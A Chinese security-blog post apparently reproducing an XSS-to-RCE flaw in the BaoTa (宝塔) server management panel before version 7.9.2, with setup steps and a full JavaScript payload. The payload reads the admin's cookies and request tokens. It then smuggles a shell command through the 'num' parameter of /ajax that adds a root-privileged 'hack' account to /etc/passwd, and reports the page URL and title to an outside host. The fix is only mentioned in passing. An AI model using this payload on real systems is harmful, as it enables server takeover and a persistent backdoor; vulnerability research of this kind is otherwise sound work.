宝塔面板RCE漏洞复现 | Captureds 学习知识分享

漏洞篇

发布日期: 2023-03-06

更新日期: 2024-06-26

文章字数: 940

阅读时长: 4 分

0x01 宝塔面板简介

宝塔面板是一款服务器管理软件，支持windows和linux系统，可以通过Web端轻松管理服务器，提升运维效率。例如：创建管理网站、FTP、数据库，拥有可视化文件管理器，可视化软件管理器，可视化CPU、内存、流量监控图表，计划任务等功能。

0x02 影响版本

该RCE与历史漏洞相似，同样是XSS到RCE，漏洞已在最新版7.9.3修复，漏洞影响范围<7.9.2，修复方式就是把版本直接更新到最新版7.9.3以上即可，如果对业务有影响不能更新的话就把日志记录的时候过滤下XSS即可。

0x03 环境搭建

准备一台centos7服务器运行宝塔安装命令yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec

安装完成后打开默认地址并登录，新建一个web网站，使用手册详见宝塔官网（https://www.bt.cn/）

为了方便记录搭建一个接受RCE成功执行的平台

0x04 漏洞复现

JS payload

这个文件需要放目标机器可以访问到的地方，我这里放到了自己的云服务器上

//JQuery preload (optional)
(function(){
    var s = document.createElement('script');s.type =
        'text/javascript';s.async = true;s.src =
        'https://code.jquery.com/jquery-2.1.4.min.js';

    (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();
// cookie
let cookies = document.cookie;
function getCookie(sKey) {
    if (!sKey) { return null; }
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\- \.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}
all_headers = {
    "Accept":"*/*",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
    "Connection":"close",
    "Accept-Encoding":"gzip, deflate",
    "dnt":"1",
    "sec-gpc":"1",
    "Cookie": cookies,
    "x-cookie-token": getCookie('request_token'),
    "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
    "x-http-token": $('#request_token_head').attr('token'),
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}

$.ajax({
    url: "/ajax",
    type: "get",
    data:{"action":"get_lines","filename":"/etc","num":"|echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >> /etc/passwd|"},
    headers: all_headers,
    success: function (data) {
        console.info(data);
    }
});


$.ajax({
    url: "http://test.com/index/rce/acceptall",
    type: "get",
    data:{"url":window.location.href,"title":$(document).attr('title'),"type":1},
    headers: all_headers,
    success: function (data) {
        console.info(data);
    }
});